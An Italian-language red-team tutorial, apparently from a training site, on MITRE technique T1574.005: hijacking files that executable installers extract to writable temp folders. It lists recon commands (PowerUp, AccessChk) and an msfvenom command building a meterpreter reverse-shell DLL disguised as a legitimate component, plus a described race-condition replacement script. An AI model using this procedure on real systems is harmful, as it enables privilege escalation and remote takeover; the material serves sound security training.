Debolezza Permessi Installer: Executable Installer File Permissions Weakness (T1574.005)

La tecnica T1574.005 sfrutta una debolezza ricorrente negli installer eseguibili: quando un programma di installazione scompatta binari temporanei — DLL, EXE, script di supporto — in sottodirectory di %TEMP% o in percorsi analoghi senza applicare ACL restrittive, un attaccante con privilegi utente può sovrascrivere quei file con payload malevoli. Se il processo installer gira con privilegi elevati (SYSTEM o Administrator), il binario sostituito eredita quel contesto, producendo di fatto un'escalation di privilegi silenziosa.

La tecnica è mappata su tre tattiche: TA0003 Persistence (se l'installer viene rieseguito a eventi ricorrenti come il boot), TA0004 Privilege Escalation (il vettore più comune) e TA0005 Defense Evasion, perché l'esecuzione avviene dentro un processo firmato e apparentemente legittimo. Nella kill chain si colloca dopo l'accesso iniziale, tipicamente nella fase di consolidamento del foothold.

È una variante concettualmente vicina al DLL search order hijacking, ma con un vettore specifico: l'abuso della race condition tra estrazione dei componenti e loro caricamento. Diversi vendor hanno pubblicato advisory per installer di prodotti mainstream affetti da questa debolezza, e la tecnica è documentata come parte del toolkit di Mustang Panda, che ha impiegato eseguibili come IRSetup.exe di Setup Factory per veicolare payload sotto forma di componenti apparentemente legittimi.

L'esercizio red team su T1574.005 parte dall'individuazione di installer vulnerabili sul target. Il primo passo è enumerare i processi installer attivi o pianificati e le directory temporanee da loro create. Un installer self-extracting scompatta i propri componenti in percorsi tipo *C:\Users<user>\AppData\Local\Temp{GUID}* oppure *C:\Windows\Temp*, e spesso lascia ACL ereditate che permettono la scrittura da parte del gruppo Authenticated Users.

Per la ricognizione delle permission weakness il framework PowerSploit (open source) include il modulo PowerUp, che automatizza la ricerca:

Invoke-AllChecks

Questa funzione elenca servizi, path e binari con permessi deboli. Per un focus mirato su file e cartelle scrivibili in percorsi sensibili si usa AccessChk (gratuito, Sysinternals):

accesschk.exe -wus "Authenticated Users" C:\Windows\Temp

La procedura operativa si articola così. Prima si avvia l'installer target in modalità osservata con Process Monitor (gratuito, Sysinternals) filtrando su Operation is CreateFile e path contenente Temp, per identificare i file scritti e ricaricati durante l'installazione. Poi si verifica se la finestra temporale tra scrittura e caricamento è sufficiente a permettere la sostituzione — spesso lo è, perché l'installer estrae tutti i componenti prima di iniziare l'esecuzione della logica di setup.

A quel punto si costruisce un payload DLL o EXE con lo stesso nome del componente target, tipicamente con msfvenom (open source, Metasploit Framework):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT= -f dll -o legit_component.dll

La sostituzione si automatizza con uno script PowerShell in loop che monitora la creazione della sottodirectory e sovrascrive il file bersaglio prima del caricamento. In alternativa, se l'installer richiede un componente non ancora presente al momento dell'estrazione, basta pre-piazzare il file nel path atteso.

Per scenari simili a Mustang Panda, l'approccio è diverso: si utilizza direttamente un builder come Setup Factory (a pagamento) per creare un installer legittimo che inglobi il payload come risorsa e lo scompatti in un percorso controllato. In laboratorio è preferibile usare Inno Setup (open source) o NSIS (open source), che permettono di riprodurre gli stessi pattern senza costi di licenza.

Ogni test va condotto su VM isolate con snapshot, perché la modifica delle ACL di %TEMP% può compromettere altri installer sulla stessa immagine.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.